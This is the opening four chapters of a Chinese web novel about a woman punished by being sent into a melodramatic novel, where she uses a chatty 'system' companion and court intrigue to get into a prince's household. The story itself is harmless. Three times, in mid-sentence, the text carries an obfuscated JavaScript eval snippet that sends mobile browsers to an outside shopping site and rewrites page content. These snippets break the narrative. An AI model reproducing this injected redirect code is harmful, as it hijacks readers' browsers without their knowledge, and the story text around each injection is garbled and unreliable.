《穿书后没有金手指怎么办》 1. 第 1 章 “申诉!” “这根本就不能算穿书,人家穿书好歹都有金手指,再不济也有系统协助,我不但什么都没有,身世还如此凄惨,你们把我扔在这里十八年不闻不问,完全就是谋杀!” 我恶狠狠盯着头顶的透明屏幕,这是自穿进书里十八年来,系统第一次出现在我面前。 它冷冰冰的声音仿佛来自九天之外: “叮——罪者您好,您的反馈已收到,我们会持续调查原因,现在先开启惩罚模式。” 惩罚? 哦,想起来了,当初因为我随意吐槽了一本狗血文,系统就直接把我踹进这本书里接受惩罚。 “因您污蔑平台影响恶劣,现需穿到书中以任务形式完成惩罚,任务做完后方可回到原世界。” “叮——任务一:进入世子府当差。” …… 城外半山腰,皇家古寺。 远山眉,秋水眸,我放下螺子黛,边对着铜镜贴花钿,边琢磨三个月前系统下达的第一个任务。 其实在我原来的世界里,穿书是件很平常的事情,甚至还纳入了旅游项目和法律体系。 就比如说,有人会专门花钱穿到《男主男配全爱我》的书里过过女主瘾,也有人因犯罪被迫穿到《十大酷刑》里接受终身惩治,这些都是司空见惯的。 而我,一个平平无奇的倒霉蛋,明明只是嘴欠随便吐槽了两句狗血文,却要被惩罚来到这里,亲自经历狗血桥段。 原本以为最多待个一年半载的就能回去,我算了下,原世界一天相当于书中一年…也就是一天半的时间,至少还能赶上周一早八打卡。 可谁能想到,这一来,就是整整十八年! 我从一个襁褓婴儿,艰难地成长为一个没缺胳膊少腿儿的大人,没系统,没金手指,重要的是,我一个书中的角色都没见过。 天知道我刚来的那会儿有多崩溃! “先别想这些了,快去做任务啦!” 说话的,是之前那个冷冰冰的总系统给我绑定的专属系统,编号17. 这个十七号的作风完全就不像个正经系统,不仅有个卡通娃娃的屏幕,而且跟个话痨似的,自打来到这里就嘀嘀咕咕念叨个没完。 “是这样哦,你每完成一个任务,头顶的狗血值就会上升10个百分点,等狗血值达到100%,你就可以回到原来的世界啦。” 我没再理会它说什么,扣下铜镜,转头看向窗外。 此时佛音袅袅,已近夕阳垂暮时分。深呼一口气,我换了件亮眼的锦绣山河裙,起身朝屋外走去。 今日是大郅国一年一度的礼佛日,众寺皆是满满香客,热闹非常。 绕过大雄宝殿,我准备按照系统的指示找机会引起世子的注意,然后再想办法进入世子府。 “诶,你说说你,给你制造了那么狗血的开局,你竟然没有和男主产生任何羁绊,白受那么多年苦。” “青梅竹马,没有。” “被当成替身,没有。” “救个什么落难皇子之类的,也没有。” “但凡能有一个,你早八百年就已经完成狗血任务回去了。” 我停下来,转过身,一巴掌呼到眼前的屏幕上……终于安静了。 心想,系统让我穿进书里的本意是用狗血事件恶心我,以达到惩罚的目的…既然如此,它为什么不直接把我的角色设定成没人疼的庶女,或是不受宠的妃子之类? 而非要将我弄成个婴儿,从头开始。 再者说,一般穿书的时间大多不会超过三年,也就是原世界三天的时间,因为时间过久难免影响原世界的正常生活秩序。 “你们为什么十八年来都对我不闻不问的?难道不怕我死在这里吗?”我问系统。 系统懵然:“之前的事我也不清楚哎,我只知道三个月前,总系统整理穿书者信息时,突然检索到你没有绑定系统,就连忙把我分配过来了。” “以前发生过类似事件吗?” “从来没有,穿书时绑定系统这是基操,不然要出大事呀!” “……”难道说我就这么倒霉!刚好轮到我穿就卡bug了?好吧,真是欲哭无泪,我深吸一口气继续向前走去。 此刻,正是月下幽会,掩人耳目的好时辰。 “喂喂喂,你要去哪里?走错路了。” 嘴角勾起一抹狡诈的笑,其实我骗了系统,我不是要勾搭世子,而是要去后边的禅院会见翰林学士叶之韫家的独子,叶绥。 盯上他的时间不算短,早在系统来之前,我就已经“看上”他了。 房檐四角悬挂的青铜铃叮叮作响,月色如纱,我沿着长长的红墙根,边走边想一会儿该如何施展魅力,让叶小公子尽快倾心于我。 岂料刚要推开后院禅房门…… 这时,院内忽然有侍卫大喊:“有刺客!有刺客!” 这道声音犹如晴天霹雳划破长夜,紧接着传来一片混乱的厮杀声,人影窜动,哭喊声此起彼伏。 我望着打斗的方向,心里一惊,这刺客早不来晚不来,偏这个时候来冲撞皇后娘娘的凤驾,真是巧的不能再巧了。 眯起眼瞧着系统,难道是它?它察觉出了我的真正计划?可这跟它发布的任务也不冲突啊,拦我做什么。 很显然系统看出我在怀疑它,大声喊冤: “不是我啊,我可没有更改剧情的功能,再说这本书早都完结出版了,想改也改不了哇。” 此时,院内火光冲天,禁军很快就将整个大殿围了起来。 我站在逼仄的长廊尽头,手握在门栓上,进也不是,退也不是。 后院只怕是去不得了,可我又实在心里不甘,这个机会我已经等了很久了,如今好不容易有了进展,怎么能轻易放弃。 真是恨啊。 不过比起这个,现在似乎有更麻烦的事情在等着我…… 刺客消失不见,禁军正大力搜捕。就在这时,黑暗中向我走来一个人影,身躯高大,挺拔如松柏,行步如风,有着上古神明般的神韵。 我不禁打了一个冷颤,赶紧屈膝下跪,将头埋在地上。 “我去,跪这么利索。”系统惊讶。 “没办法,跪久了,站不起来了。” “……” 那人停在我跟前,目光所及只看到一双绣着祥云的黑靴,他的声音冰冰凉凉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204075|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清冽又干脆。 “月下何人?”他说。 京城的达官显贵我一向了然于胸,瞬间就猜到了他是哪位大人——南衙十六卫当中的神策卫统领,凌安王世子,李怀远。 正是系统要我去寻的那个人。 “回、回大人的话,奴婢是掖庭掌事宫女,月前宫里派一众杂使前来翻修寺院,掖庭也拨了人过来。”我哆哆嗦嗦地说道,俨然是被方才的刺杀吓坏了般。 “掖庭来的?”他一副饶有兴趣的样子,目光中却尽是探究之意。 “抬起头来。” 我在他的注视下怯懦地抬起下巴,月光像泼墨的画,洒在我眼尾那滴晶莹的泪珠上,昭示着主人此刻的畏惧。 系统似乎有点佩服我:“你还挺会装的。” 我想了想,也不全是装的,确实跪久了…… 我在这个世界待了十八年,封建社会的折磨与践踏早就让我忘了系统,也没指望过还有一天能回去。 这些年,再苦再难也都是自己咬着牙过来的,跪一跪又算得了什么。 所以直到此刻,我仍然做不到完全信任系统,也不敢相信自己真的还有机会能回到原来那个世界。 如果是十八年前刚来那会儿,我一定会高高兴兴去做任务,但现在不行了,我谁也信不过,只能给自己留足后路。 摆脱奴籍,进入翰林做女官,就是我的后路。 京城的权贵子弟们,我在心里琢磨了上百遍,千挑万选选出个叶绥来,就指着今夜这个机会翻身。 如仙鹤般遨游于空的自由人生,我曾经见过,如今想再试一试。 可是今夜… 我看向李怀远腰间明晃晃佩剑,毫无征兆地,“啪嗒”砸下了一颗眼泪。 他有一瞬间的怔愣,仿佛不明白为何我会吓成这样,不过那眼神很快就消失了,随即又恢复了往日的淡漠。 “胆子这么小?禁军按律问罪,又不吃人。我且问你,去后院做什么?” 后院是一座禅院,今日住的全是宫中贵人以及勋爵子弟,我一个掖庭出来的宫女,既不隶属皇后宫内,也不是洒扫时分,此时去后院确实说不太通。 我把心一横,一双无辜无畏的眼神诚恳地看向李怀远,说道:“去找您。” “找我?”他的声音里带着深冬的寒意。 “若大人信奴婢,就请借一步说话。” 李怀远修长的手指在剑穗上来回拨弄,锋利的眼神如猎鹰般打量着我,思忖片刻,挥手屏退了左右。 我抓住机会一刻也不敢耽误,赶紧说道: “奴婢昨夜看见宫里的一个老嬷嬷,跟一个小沙弥窃窃私语,他们手上拿着黄符,还有小泥人,嘴里好像在说什么宫宴,栽赃,厌胜之术。奴婢忧心此事不简单,这才冒着冲撞的罪过,前来找大人说明。” 几日后的宫宴,是每年春日举行的百官朝贺宴,邦交列国皆来参加,十分盛大。 这要是当中出了纰漏,丢了面子事小,让外人知晓朝局动向罪过可就大了。 李怀远自是懂得这个道理,一旦出事,他作为禁军难辞其咎。所以我方才说的,即便是道听途说,也足够引起他的重视。 2. 第 2 章 “白天为何不说?”他半信半疑。 “奴婢胆子小,白日人多,怕被有心人看见遭来杀身之祸,又怕是自己听错了给大人徒增麻烦。可思来想去又觉得不对劲,这才……”我面露难色。 “就这么巧,这事刚好就被你撞见了?若他们真是有见不得人的勾当,该是夜深之后会面,你那个时候为何会在后院?” “还有,你既是掖庭临时抽调过来做事的,去找我,为何要打扮得如此精致?” 他声音不高,漆黑的眸子里也没有半分波澜,可问话的气势依旧让人喘不过气来。 真是一点不懂怜香惜玉。 如果不是我在掖庭待得久了,换做旁的深闺女子,怕不是此刻已经吓晕过去了。 前额后背都是冷汗,紧紧攥着的拳头藏在衣袖之中,我不断提醒自己,和李怀远说的每一句话,都要深思熟虑。 “回大人。昨日夜里,宫里总管命奴婢们将后院的陈列再齐齐检查一遍,以免有不合礼节的物件冲撞了贵人。我因吃坏肚子来的晚了些,故而分到了鼓楼旁边最偏的寝殿,等做完活夜已经很深了,回来路上这才撞见此事。” 其实这事儿不是我编造的,给我十个胆子我也不敢编,凭李怀远的本事,要调查出我昨日夜里的行踪简直易如反掌。 唯一不同的是,我原来没打算把这件事告诉他,知道越多死的越快,这是我在掖庭懂的第一个道理。 况且我撞见的这个事,说不大也不大,有可能是后宫嫔妃之间的争宠。说大也可以很大,大到储位之争,朝政翻涌。 上面的人翻云覆雨,大多数遭殃的还不是如我这般蝼蚁。 正想着,突然有禁军跑上前来,他这一来,可当真是救了我一命。 只见他附在李怀远耳边说了些什么,李怀远沉吟片刻,随后低声嗤笑:“这些人,心思都用在自家人身上了。” 映着月光,我第一次这么近距离看到他的容貌,目光深邃,眉宇轩昂。 月色如水,像在他身上笼了一层薄纱,他转身离去,背对着我说了句: “没事了,下去吧。” 我悄悄地呼出一口气来。 系统随之呼出一口气来。 “没想到你还挺厉害的,应付起来游刃有余,我看他刚才差点要把你当成刺客杀了。” 我擦了擦汗:“还不是这些年练出来的。你以为封建社会好玩啊,说杀就杀,快点让我回去!” 我拽住空中悬浮的薄薄的屏幕,使劲晃动。 系统吱哇乱叫了一会儿,然后哭着告诉我,其实它也没有权利把我传送回去。 “什么!” “你先听我说。”它离我稍远一些,开口道: “穿书者一旦进入书里,就只能通关才能出去。不过别人都有金手指,通关很快的,再不济也能混个什么女主女配的,起码能知道剧情发展,你怎么什么都没有呀,完全跟开盲盒一样。” “唉,总之你现在只能一边做任务,一边小心不要让自己死掉。等你的狗血值达到100%,自然就能回到现实世界了。” 我真是惨,惨到连系统都替我郁闷了。 说着屏幕上闪现出一个柱状图,“你看,凭借着设定里的悲惨出身,你前十几年虽说没有主动做过什么狗血的事,但狗血值也已经积攒了50%,胜利在望啊!” 对了!说起设定…… “你那会儿说,给我制造了狗血的开局……那是什么意思?” “哦,那是因为你不算传统的穿书,是被踹进来的,所以没能给你配对成功这里面已有的人物,而是给你做了新设定,但这只是角色初设定,后来的情节就不受系统控制了。” “也就是说,我是游离于这本书之外的存在?” “可以这么说,但游离的也不止你一个。” “什么?还有谁?” “很多人呀,只要是书里没详细设定而出现的人,意识都是自由的,换句话说,他们不属于作者笔下的人物,而是这个世界活生生的人。” “哦。”原来如此。 这么说来,只有主角才是纸片人喽,而我还是原来的我,我的行为举止、思想流动完全不受任何角色的限制。 从某种程度上来说,这倒是个好事情。 但是! “为什么要给我设定这么悲惨的出身啊!” 系统看出了我很暴躁,连忙澄清:“这不是系统决定的,是组织上的决定。” “你们还有组织!”我气笑了。 “当然啊,系统只是执行层面,而组织才是整个网文界和穿书界的控制方,就是因为你的吐槽触碰到了组织的逆鳞,才会被惩罚的。” “行,这事儿我认栽,但我还有个问题。”我盯着眼前的屏幕道: “关于十八年都没有系统绑定我这件事,你们那什么组织,是不是得给我个说法?害我在这里耗了这么久,这可不是一笔小的损失。” “是哦,我也很纳闷的,这种事以前可从来都没发生过。不过我已经给你申报过了,系统还在查实原因,我猜大概是当时什么程序出问题了吧。” “会不会是人手不够导致的?” “那绝对不是,我还休了一个月的长假呢,哈哈哈。” “……”闭嘴吧你。 …… 过了几日,到了大郅朝举国瞩目的春日朝贺宴。 大殿歌舞升平,因有外臣在场,入宴排查十分仔细。我四处打探了消息,只得知太子身体抱恙并未参席。 这么大的宫宴太子不露面?就算是生病,也有些说不过去吧。 “你还管那个太子干什么?不应该赶紧想办法制造机会进入世子府吗?” 系统最近跟我形影不离,切身感受到封建社会的奴籍有多悲惨,是以对我的态度改观了不少,还积极帮我完成任务。 “我总得知道宫宴发生了点什么,才能接着应付李怀远吧。” “你是说他还会来找你?” “这事儿肯定没完。”我有些忧心忡忡,来这里待了十几年,我自是知道有时候人命有多轻贱。 半晌不见系统说话,我戳了戳上方屏幕的卡通脑袋。 只见它缓缓分析:“依我看,如果那个叫李怀远的禁军头子会主动来找你,那么后续的任务应该都会和他有关。” 有没有文化啊,什么禁军头子。 “他是禁军南衙十六卫当中的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204076|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 策卫统领。不过发布任务的不是你吗?” “我只是传达任务,真正下达命令的是组织。” 我正要说话,突然听到一声系统的提示音。 “叮——任务一剩余时间为:十天。” 竟然还设置时限?!我真是气得七窍生烟。系统在我脑袋上方转着圈圈安慰我:“别激动,别激动。” 我正要口吐莲花,旋即又想起一件重要的事情。 “对了!我不是穿到了一本狗血文里面吗?就算我是个新人物,可也不至于一个主角都见不到吧?” 系统想了想,在主页面点击搜索框,然后问我:“这本书叫什么名字?我搜搜看。” 都十八年了,我哪还记得这个。“你也太不敬业了吧?作为穿书系统,充分了解书里的内容,这是你的本职,你竟然还问我这本书叫什么名字?” 屏幕里溢出来两滴眼泪,只见系统委委屈屈道: “我才读取完你这十八年的生平嘛,刚才存好档,还没来得及加载书里的内容呢。” 说着又叹了口气:“唉,你这个书穿的,确实跟别人太不一样了。” 它捣鼓了半天,才用我的穿书ID号找到了这本狗血文的书名——《神医嫡女2之祸国妖妃》 “……”这名字谁记得住。 “怎么一直显示加载中?”我指了指屏幕不解道。 系统摇摇头,郁闷到了极点:“不清楚,我说你的情况也太特殊了吧,一般三五秒就加载出来了呀。” 我们俩蹲在地上,看着那个圈圈转啊转,不一会儿就没耐心放弃了。 “书里的剧情你一点都不记得了吗?” 闻言我开始回忆:“好像是什么皇子和医女爱来爱去,之类的。” 系统无语,指着屏幕上那个显眼的书名道:“你似乎说了句新鲜的废话……” 我不服,在它那个卡通屏幕的头顶用力一敲:“都十八年了你指望我能记住点什么,反正我认识的人中完全没有书里熟悉的名字。” 系统揉揉脑袋,神神秘秘地:“没准是你记错了,我看这个李怀远就挺像男主的,瞧瞧这身份,还有这酷似冰山的性格,超高的武力值,绝对的狗血文男主人设。” “……” 此时宫宴正是热闹之际,前殿的喝彩声震耳欲聋,我躲在殿后远远望去。 高台之上,李怀远正与秋弥国派来朝贺的某位皇子进行武艺比试,长剑出鞘,铮铮剑鸣惊空,我默默想,“武力值”这一点它倒真是没说错。 “依我对组织的了解,应该是想让你进入世子府后,狠狠吸引住世子的目光,然后你被他的妾室们针对,你表面柔弱却内心坚定,于是世子对你刮目相看,你们互生情愫。” “然后呢?” “然后你们就会开启狗血模式了呀,什么误会,中箭失忆,白月光,不幸被皇帝夺爱,通通来一遍。” “这么土?” “管它土不土。俗话说得好,自由险中求嘛,你想啊,考验越多,你能获取狗血值的机会就越多,只要你能避开这些陷阱不要死掉,那积攒满100%狗血值、回到原世界岂不是指日可待。” 理确实是这么个理,不过…… 3. 第 3 章 “你这就叛变了?”我有些不信。 “说叛变多难听。”它有些不好意思:“再怎么说当初是我把你给踹进来的,见你过得这么苦,难免心生不忍。” “你踹的!” “呜呜呜对不起对不起,我当时什么都不知道,就收到通知就直接执行了……” “行了,别哭了。” 不过它说的也没错,这没准还真是件好事情。原本我要去夜赴叶小公子之约,借机勾引他,可被李怀远这么一搅和,这条路只怕是不那么容易了。 再者想要通过叶绥脱奴籍,进而再通过他爹的关系进入翰林院,动辄三五载,多则八九年,我只怕时间一久,自己会渐渐麻木在后院那几尺院墙之中。 再说叶绥所喜欢的女子,盈盈娉婷,软软娇娇,我实在是学不来,这比读史文通吏治可难多了。 思及此,痛觉我大抵是做不成狐媚子的,还不如遂了系统的愿去世子府。 没准还能有新的转机。 朝贺宴结束后,宫内各处都在传,太子殿下被扣在御书房一夜未归。 原因却不得而知。宫中秘讳,蛮得严严实实,但我知道,这必然和压胜之术一事有关。 宫宴过后的第三日夜里,我当夜值。 忽而树影晃动,我抬头望向头顶的参天古树,只见来人隐匿在树中间,看不清面庞,只见一双棱骨分明的手里拿着个精致的锦袋。 眼皮一跳,真是万万没想到李怀远竟然亲自来了。 “那日你提供的信息有用,这是赏你的。”说罢他将方才手里的锦袋扔了下来。 宫宴没出什么岔子,说明他已提前将事情处理妥当,看来我那夜听到的消息是真的。 我看了一眼锦袋,粗粗估摸着,里面的银钱应该抵我好几年的宫份,可是我要那点钱财做什么,我要的是去除奴籍,进入翰林院。 或者马上把我的狗血值提高到一百,放我回去,我要自由! 可这些,我一个字都不敢说。 我笑盈盈地看向李怀远,行了个礼。随即捡起草丛中的锦袋,掸了掸上面的灰尘,恭敬地放在石桌上。 “谢大人恩典。身外之物并非奴婢所渴求。” “那你想要何物?”他闻言起身,霎时落英缤纷,像是下了一场朦胧细雨。 “奴婢曾听闻,圣人有云,君子之儒,忠君爱国,守正恶邪。奴婢不敢自称君子,却也知晓何为家国大义,大义面前,何谈奖赏二字?” 这几日我反反复复地琢磨,皇家寺院那夜的局该如何破。 那夜我漏洞百出,李怀远如此聪慧之人,如何看不出来?光是入夜后我浓妆淡抹这一点就说不通。 他当时未发难,怕也只是暂时抽不出空来处理我。 就在我发愁的时候,突然想起系统发布的那条任务,于是我心生一计。李怀远不是怀疑我吗?那就让他怀疑好了。 我故意不收钱财,表现出与众不同的样子,才能更加让他起疑。他起疑,便会时常来试探我,这样我才有机会打破僵局,完成进入世子府的任务。 尽管这条路看上去十分凶险。 …… 又过了几日,有宫人私下偷偷在传,太子因托人弄了些乌烟瘴气的邪乎东西栽赃给皇后,因此才被圣上禁足了。 例来君主与朝臣最为反感的就是压胜之术,他们认为这个行为有损国运,所以一开始太子是打算在宫宴之上,当着百官的面抖落出来皇后搞压胜之术,再来个“人证俱获”,到时候陛下再怎么着,也不可能力排众议去袒护皇后。 但他没想到的是,自己竟这般倒霉,这么重要的事居然被我给听见了。 更倒霉的是,李怀远也知道了,直接查出罪证将太子告到了御前。 系统狐疑地看着我:“等会儿,这种事算得上是宫中秘事了吧?你一个小小罪奴,怎么什么都知道?” 我一声叹息。 谁让我生前既当骡子又当马,公关部、运营部、市场部、董办助理……什么都干,不是我吹,只要给我一支杠杆,我可以撬动整个打工界。 在掖庭混了十几年,我利用先进于他们千年的知识体系和职场素养,打通了很多宫中关系,做到了掌事宫女的位置。 掖庭是皇宫里一个很特殊的地方,不仅关押罪臣之女眷,也是内侍省的女工作坊,同时也是嫔妃被罚打入的地方,鱼龙混杂,消息极为灵通。 至少明面上的事,我知道的不比李怀远少。就拿宫宴之事来说,虽然被层层秘压,但多多少少还是走漏了些风声。 “嘶!”屏幕上方突然显示出一个大大的【(ΦдΦlll)】。 我瞄了它一眼,“你这是什么表情?” “震惊!当朝太子竟敢公然残害自己的母亲!” “太子不是皇后生的,生分着呢。” “那继母也不能说杀就杀啊。” 我上下打量了它一会儿,问道:“你是不是没来过真正的古代社会?” 只见屏幕半折,系统猛点了几下头:“我以前都是跟随穿书者去一些校园文和霸总文。” “难怪。”书中描写再怎么残酷,也不如亲眼所见之惊骇。 我想起自己刚来时的那会儿,鲜血溅在我脸上,热乎乎的黏腻感,让人恶心难耐。突然就有些同情它:“慢慢习惯了就好。” 说起来,那日皇家寺院行刺,应该也是太子安排的,见行刺不成,便又在宫宴布局,打算诬陷皇后搞厌胜之术,好在及时被南衙禁军拦下。 得知此消息,我的内心并没有泛起多少涟漪。 太子与皇后两人不对付已多年,一个想废太子,一个想废皇后。可惜陛下膝下子嗣单薄,四女一子,太子自然不能轻易被废,而皇后与陛下伉俪情深,听闻早年曾一起共过生死之难,被废的可能性亦是不大。 故而这些年,只要不摆到明面上来,陛下也是睁一只眼闭一只眼,由着他们明争暗斗。 可虽说他们斗法是司空见惯了的,但毕竟暗杀和扰乱宫宴都不算小事,偏偏这个节骨眼上,两件事还都把我牵扯其中,李怀远要是不怀疑我一下简直都说不过去。 所以我知道他一定会再来。 “好事啊!”系统拍手叫好:“这样你就能借机去世子府,完成任务。”它弹跳着将屏幕一甩一甩地,异常兴奋。 我望着它单纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204077|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的模样,如我刚来时那般,不知世间险恶。 一个月明星稀的夜晚,李怀远果然来了,他好像很喜欢那棵大树,头枕着胳膊仰躺在枝干上。 须臾,树上传来一道平淡的声音:“沈今禾是吧,前任中书令沈云期,是你祖父?” 虽是问句,却是十拿九稳的语气…看来李怀远已经去调查过我了。 修长的头发垂下盖住神色,我低低道:“是的。” 十几年前,钱王起兵谋反,中书令沈云期因与其相交甚密而被波及。事情败露后皇帝下令诛杀同党,氏族男子流放,女眷皆发配掖庭为奴,涉事者三千有余,家眷无数。 那些日子的掖庭,比集市还要混乱热闹几分。 “你恨过吗?”李怀远没头没尾地问了一句。 我一愣。恨什么?恨天子令我下狱?还是恨世道不公?何况先帝已逝,那些陈年旧事,早已随风而逝无迹可寻了。 “不恨。”我嘴角带着一丝笑意: “先帝宽厚仁德,谋逆者女眷虽被发配掖庭,却允其与女工同朝授课;当今陛下更是颁发赦令,特准奴籍可转为官府私邸家仆,此乃罪奴之福。” 后半句我是特意说给李怀远听的。 罪奴和家仆虽说都没有自由身,但罪奴的奴籍由宫中内廷掌管,而家仆的卖身契是主家说了算的。 也就是说,以家仆的身份赎身,显然要更容易一些。 如我所料,李怀远冷哼一声,看出了我的意图,丝毫没有拐弯抹角地问:“那日在皇家寺院,你还没有回答我,明明已经入夜,你为何要精心打扮一番?” “回大人,奴婢不敢隐瞒分毫,确实是为了找您。”太子谋害当朝皇后,我帮了你多大的忙,别不知好歹。 “我问的是,为何打扮?” 虽是下下之策,不过豁出去了:“奴婢方才答了,为了找您。” “这是何意?” 我跪在地上不敢抬头,但明显能感受到一股强烈的光在打量我。 “听闻大人自小博览群书,儒、道、法三家皆通,又闻积仁洁行,不念旧恶,实乃君子之姿……奴婢、奴婢倾慕大人已久。” 我耳垂一红,羞愧得恨不得躲进地里。 “咚”地一声,他的暗卫从树上掉了下来。 “……” 他玩味一笑,看来是没信。 “大人如天上鸿鹄,奴婢不敢有半分非分之想,可女为悦己者容,是人之本性,本性不分高低贵贱。是以奴婢僭越。”见他如此不屑,我端起身子说得不卑不亢。 李怀远轻笑出声:“我原以为你胆子挺小,不过现在看来,你胆子大的有些离谱了。” 系统:“(⊙ ⊙)好可怕。” “世间再卑微者,也会向往月之皎辉,大人若不信,大可以处死奴婢,但即使身份低贱如我,也不允许别人折辱自己拼命守护的心意。” 冷笑一声,李怀远从腰间取下佩剑。 我听见利刃出鞘,看见剑锋直指我胸前,说不害怕是假的,他们这些上位者,捏死我如同捏死一只蚂蚁。 不行,我必须赶紧给自己的“爱慕”增加一些可信度。 4. 第 4 章 “数年前的夜晚,太液池旁,您曾出手救下一个落水的小宫女。”我缓缓说道。 “我明白大人胸有丘壑,定不会记得这般小事,但于奴婢而言,却是寸草春晖。如今本该报答大人,却心存恶念妄图接近大人,如此不耻,请大人赐死。” 说完闭上眼,静静等待命运的审判。 救人这事儿不是假的,但他救的却不是我,只是当夜我恰巧撞见了此事。 我敢保证,李怀远对那张被救的脸没有任何印象,他当时也只是恰巧路过,顺手救了个人而已,等那人上了岸,他便离开了。那宫女从没给外人说过自己落水之事,如今赎身出了宫就更不会乱说话了。 所以我才敢撒这个谎,因为就算李怀远去查,也很难查得清楚。 系统哆嗦道:“他能信你吗?” “不知道,半信半疑才好。”只有这样,他才会觉得我身上有隐情可以挖掘,才不会贸然杀我。 树叶沙沙作响,周遭寂静。 就在我觉得剑尖即将没入肺腑之时,突然听见李怀远说: “还真是伶牙俐齿。听说你在掖庭同女工同堂听学,写过几篇文章,十分出彩。”说着从怀里掏出来几张宣纸,应该是我近来交给夫子的功课。 “你还懂修史?”他问。 “懂、懂一点点。” “也对,你祖父当年官拜中书令,家学渊源,没道理嫡长孙女目不识丁。” 他一双黑眸充满试探,语气却稀松平常:“既然你爱慕我,那以后就在世子府当差吧,本世子倒要看看,你是如何爱慕我的。” 说罢转身离去。 直到他的身影彻底消失在夜色中,我才敢蹲坐在地上大口地呼着气。抬头一看,系统已经被吓晕过去了。 “……”没用的东西。 “叮——” “叮——” “叮——” “受世子邀请进入世子府,该事件狗血值达标!” 暂时晕过去的系统突然被吵闹的声音吓醒:“怎么了,怎么了?”又一看屏幕上的几个大字,喜上眉梢,“好耶!” 我托着下巴若有所思:“我去世子府当差这件事,这很狗血吗?” 系统慢吞吞道:“是挺狗血啊,你想……” “李怀远肯定就是本书男主。试想一个优秀的富二代开挂男主,专门让一个底层罪奴去他家工作,多少是有点离谱了。” 离它奶奶的谱! “你难道看不出来,他是因为不信任我,以为我是皇后或太子的人,想看我究竟耍什么花样,才让我进世子府吗?” “再说了,李怀远那种聪明人,就喜欢看自诩聪明的跳梁小丑在他面前演戏,然后再将之逐渐击溃,以达到一种精神层面的满足。” “真的吗?”系统道:“那这不是纯纯变态吗?” “是啊,你觉得封建社会的掌权者,能有几个正常人?”想到那些年的诸多经历,我内心五味杂陈。 系统小声道:“虽然狗血值增加了,但我似乎从你的眼睛里看到了悲伤。” 我无语。“你能不能先看点别的?” “哦,好。”它神神秘秘道:“我还看到一个事。” “什么?” “李怀远肯定是这本书的男主。” “……”我就多余问。 没过几天,宫里就撤了我的奴籍,随后,我与世子府签了卖身契。 日子就这么波澜不惊地过了两三天。 一天午后,系统突然大叫一声:“啊!老天奶!找到了找到了,这本狗血文终于被我搜到了。” “什么,快给我看看。”于是我们俩趁人不注意,蹲在一个角落里研究了起来。 男主、男二……男八都不认识。 女主、女二……女主她二舅妈的小侄女,也都不认识。 “你是不是找错了?”我一边往后翻阅一边问道。 “没有啊,书名、作者都对得上。” 我指着右上角的“本文内搜索”说:“你试试搜李怀远。”系统输入“李怀远”三个字,然后点击“确定”。 过了会儿,还真的显示出来了关联片段。 片段一: 【三皇子来到大郅朝觐见大郅的皇帝,作为附属国的外臣,难免要被大国朝臣借机为难一番。】 【大臣们起哄让他与当朝禁军殿前比武。】 【大郅皇帝准允,派出了神策军统领李怀远。】 【两人打得昏天暗地,难分胜负。】 片段二: 【国主吩咐的诸事一毕,三皇子便从大郅国启程回都。】 【大郅皇帝派那位神策军统领李怀远相送百里,以示邦交友好。】 【城外长亭内,三皇子看向这位身手不凡的武将,拱了拱手:“统领留步,后会有期。”】 【李怀远道:“三皇子保重。”】 “没了?就这两个小段?”我示意系统再去搜搜,可是搜了好几遍,结果还是只有这一两段。 “等等,这个片段一,是不是前段时间的春日朝贺宴?”系统抬高声音说道。 我一回想,还真是,当时一众宫人都躲在后殿偷偷去瞧前面热闹的宴会,我凑过去的时候,正值李怀远跟那位邻国皇子比武。 “原来这位秋弥国三皇子才是男主啊……不会吧!难道说李怀远只是个不重要的路人甲?”系统简直难以置信,绕着我转了好几个圈圈。 我敲了敲屏幕,哈哈大笑:“让你乱猜。” 系统揉了揉脑袋,突然屏幕一亮,像是想起了什么,又在搜索框里输入“沈今禾”三个字。 页面加载完成之后,果然什么都没有的,看来我还真不是书中人物。 谁知这时系统又大叫一声:“啊!想起来了,你小时候还见过这位秋弥国的三皇子啊。” 我大吃一惊:“怎么可能?我要是见过他书里怎么可能没描写,再说我什么身份啊还见皇子。” “哎呀,那三皇子也不是吃喝拉撒全都要写到书里去,你忘了?他幼时在大郅国当质子,所住驿馆与你家仅有一墙之隔,你们还一同玩耍来着,就是可惜了……你没抓住机会傍上男主。” “你怎么知道的?” “都说了我被绑定之后就能读取你的生平呀,所以那时候才气你,那么好的机会你都没抓住,白白让女主捡了便宜。” 我懵懵然:“为什么我一点印象都没有?” “你当然没有印象了!你就只跟人家玩了一次,就嫌人 